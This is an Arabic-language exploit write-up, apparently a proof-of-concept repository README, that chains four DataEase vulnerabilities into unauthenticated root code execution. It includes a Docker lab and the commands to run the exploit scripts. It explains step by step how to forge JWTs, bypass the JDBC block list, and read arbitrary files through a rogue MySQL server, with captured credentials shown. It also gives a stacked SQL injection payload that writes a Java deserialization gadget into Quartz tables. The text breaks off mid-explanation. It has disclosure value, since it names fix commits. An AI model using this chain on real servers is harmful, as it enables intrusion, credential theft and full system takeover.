
استغلال آلي لـ DataEase: سلسلة من 4 ثغرات (تجاوز المصادقة، تجاوز قائمة الحظر في JDBC، حقن SQL، إلغاء تسلسل Java) لتحقيق تنفيذ أكواد عن بُعد دون مصادقة (RCE). يتضمن مختبر Docker وإثبات مفهوم (PoC) بلغة Python.
تجاوز المصادقة → تجاوز قائمة حظر JDBC (قراءة ملفات عشوائية) → حقن SQL → إلغاء تسلسل Java في Quartz → تنفيذ أوامر عن بُعد بصلاحيات
root.مختبر محلي متكامل (Docker) + PoC عملي. تم الإصلاح في DataEase v2.10.21.
DataEase هي منصة مفتوحة المصدر شهيرة لذكاء الأعمال / تصور البيانات (Java / Spring Boot). الإصدارات ≤ v2.10.20 معرّضة لسلسلة من أربع مشكلات تحوّل معًا أي DataEase يمكن الوصول إليه عبر الشبكة إلى تنفيذ أوامر عن بُعد (RCE):
| # | CVE | التصنيف | ما يمنحنا إياه |
|---|---|---|---|
| 1 | CVE-2026-23958 | تجاوز المصادقة (CWE-287/CWE-347) | التصرف كـ admin — دون الحاجة إلى توقيع صالح |
| 2 | CVE-2026-40899 | تجاوز قائمة حظر JDBC (CWE-20) | قراءة ملفات عشوائية → سرقة بيانات اعتماد قاعدة البيانات الخلفية |
| 3 | CVE-2026-40900 | حقن SQL / استعلامات متراصة (CWE-89) | الكتابة في قاعدة بيانات DataEase الخاصة |
| 4 | CVE-2026-40901 | إلغاء تسلسل Java (CWE-502) | RCE بصلاحيات root عبر مخزن وظائف Quartz |
# 1. bring up a vulnerable DataEase v2.10.20 + MySQL
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
# 2. fire the chain
python3 exploit/de_rce_chain.py
# 3. a few seconds later, confirm code execution as root
docker exec dataease cat /tmp/pwned_CVE_2026_40901
# uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),...
# PWNED_BY_CVE_2026_40901
# Linux 82a2b09d68e9 6.10.14-linuxkit ... aarch64 Linux
كل شيء يعمل محليًا في Docker. لا خدمات خارجية، ولا هدف على الإنترنت.
docker-compose.yml vulnerable DataEase v2.10.20 + MySQL 8.4
conf/application-standalone.yml repoints the DB at the local mysql-de
mysql/ my.cnf + init.sql (creates the empty `dataease` DB)
exploit/ the PoC
شغّله:
docker compose up -d
# wait until http://localhost:8100/de2api/dekey returns 200 (Flyway migration ~20s)
http://localhost:8100 (بادئة API /de2api)admin / DataEase@123456متطلبات المضيف: Docker، وPython 3.8+ مع cryptography (pip install -r exploit/requirements.txt)، وواجهة أوامر Docker CLI (تُستخدم لتشغيل ysoserial في حاوية eclipse-temurin:8-jre مؤقتة لبناء الـ gadget).
يجري DataEase مصادقة الطلبات في مرشح servlet باسم TokenFilter (sdk/common/.../auth/filter/TokenFilter.java). يقرأ التوكن ويستدعي TokenUtils.validate()، والذي ينتهي إلى:
// io.dataease.utils.TokenUtils
public static TokenUserBO userBOByToken(String token) {
DecodedJWT jwt = JWT.decode(token); // <-- decode only, NO signature check
Long userId = jwt.getClaim("uid").asLong();
Long oid = jwt.getClaim("oid").asLong();
...
return new TokenUserBO(userId, oid);
}
JWT.decode() لا يتحقق من التوقيع أبدًا. الفحوصات الوحيدة هي: أن يكون التوكن ≥ 100 حرفًا ويحمل ادعاء uid من نوع عدد صحيح. لذا فإن أي JWT يقول "uid": 1 يجعل الطلب يعمل بصلاحيات المسؤول المدمج (uid 1).
يوجد مرشح ثانٍ (CommunityTokenFilter) يقوم فعلًا بالتحقق من توقيع ترويسة X-DE-TOKEN — لكن فقط في ظروف محددة، ومفتاح التوقيع إما سر خاص بمستخدم معيّن أو، في البناء المجتمعي العادي، قيمة MD5 لكلمة المرور الافتراضية المشفّرة DataEase@123456 (SubstituleLoginConfig → dataease.default-pwd). مسار رابط المشاركة المرافق (X-DE-LINK-TOKEN) موقّع بالمفتاح المشفّر link-pwd-fit2cloud (LinkTokenUtil.defaultPwd) وكان، قبل الإصلاح، يُفكّ ترميزه دون تحقق بالمثل.
المحصلة: يمكن للمهاجم سكّ توكن بصلاحيات المسؤول. تتضمن de_common.py الدالة forge_jwt() التي تُنتج توكنًا بلا توقيع؛ كما يدعم الـ PoC ببساطة تسجيل الدخول باستخدام بيانات الاعتماد الافتراضية الشائعة للحصول على X-DE-TOKEN صالح بالكامل لبقية السلسلة.
الإصلاح (الالتزام 00c169caa) يجعل TokenFilter يبحث عن السر الحقيقي الخاص بكل مورد ويستدعي فعليًا verifier.verify(...).
عند إضافة مصدر بيانات MySQL، يرفض DataEase مجموعة من معاملات JDBC الخطيرة. توجد قائمة الحظر هذه في حقل Lombok @Data:
// io.dataease.datasource.type.Mysql (extends DatasourceConfiguration, @Data)
private List<String> illegalParameters = Arrays.asList(
"maxAllowedPacket","autoDeserialize","queryInterceptors","statementInterceptors",
"detectCustomCollations","allowloadlocalinfile","allowUrlInLocalInfile",
"allowLoadLocalInfileInPath");
نظرًا لأن @Data يولّد تلقائيًا setIllegalParameters(...)، فإن Jackson سيملؤه بسهولة من JSON يتحكم فيه المهاجم. إرسال "illegalParameters": [] في كتلة configuration (المشفّرة Base64) يفرّغ قائمة الحظر قبل فحصها. يمكننا بعد ذلك توجيه مصدر البيانات إلى خادم MySQL مارق مع allowLoadLocalInfile=true&allowUrlInLocalInfile=true&allowLoadLocalInfileInPath=/ وقراءة ملفات عشوائية من مضيف DataEase عبر آلية LOCAL INFILE في MySQL.
# terminal A — rogue server, choose any file to steal
python3 exploit/rogue_mysql.py --port 3307 \
--file /opt/apps/config/application-standalone.yml
# terminal B — make DataEase connect to it (host.docker.internal reaches your host)
python3 exploit/file_read.py --rogue-host host.docker.internal --rogue-port 3307
النتيجة — يسلّمنا DataEase بيانات اعتماد قاعدة بياناته الخلفية نفسها:
[+] captured '/opt/apps/config/application-standalone.yml' (613 bytes) from client:
spring:
datasource:
url: jdbc:mysql://mysql-de:3306/dataease?...
username: root
password: Password123@mysql
هذه البيانات هي ما يستخدمه المهاجم لتوجيه الخطوة 3 إلى قاعدة بيانات DataEase الخاصة. الإصلاح (الالتزام 16a950f96) يضيف @JsonIgnore إلى كل حقل illegalParameters بحيث لا يمكن تعيينه من JSON بعد الآن.
previewSqlيستقبل POST /de2api/datasetData/previewSql سلسلة SQL مشفّرة Base64، وبدون أي تحقق من كونها عبارة واحدة، يغلّفها كاستعلام فرعي:
SELECT * FROM ( <your SQL> ) AS `tmp` LIMIT 100 OFFSET 0
تتم إزالة التعليقات، لكن يمكننا موازنة الأقواس واستخدام ; لتشغيل عبارات إضافية. ولأننا نتحكم في مصدر البيانات، نفعّل allowMultiQueries=true (وهي ليست في قائمة الحظر في v2.10.20)، لذا تُنفَّذ الاستعلامات المتراصة:
select 1) AS x;
UPDATE QRTZ_JOB_DETAILS SET JOB_DATA=0x<gadget> WHERE ... ;
SELECT * FROM (select 1
والتي يجمعها الخادم في ثلاث عبارات حقيقية. توجيه مصدر البيانات هذا إلى قاعدة بيانات DataEase الخاصة (بيانات الاعتماد من الخطوة 2) يتيح لنا الكتابة في جداول Quartz الخاصة به. الإصلاحات: 15611593b يضيف allowMultiQueries إلى قائمة الحظر، وe89059d88 يشدّد مسار الحفظ/المحرك.
يجدول DataEase وظيفة Quartz متكررة لـ "فحص حالة مصدر البيانات":
deSyncJob، الوظيفة Datasource / check_status، الفئة io.dataease.job.schedule.CheckDsStatusJob0 0/6 * * * ? * (الافتراضي: كل 6 دقائق)يستخدم Quartz مخزن وظائف JDBC مع useProperties=false، لذا يُخزَّن JobDataMap لكل وظيفة في عمود QRTZ_JOB_DETAILS.JOB_DATA كـ كائن Java متسلسل خام (يمكنك رؤية ذلك: تبدأ الكتلة بسحر التسلسل AC ED 00 05 … org.quartz.JobDataMap). وعندما يفحص المجدول المشغّلات، يقوم في StdJDBCDelegate.selectJobDetail بما يلي:
Map map = (Map) getObjectFromBlob(rs, "JOB_DATA"); // new ObjectInputStream(...).readObject()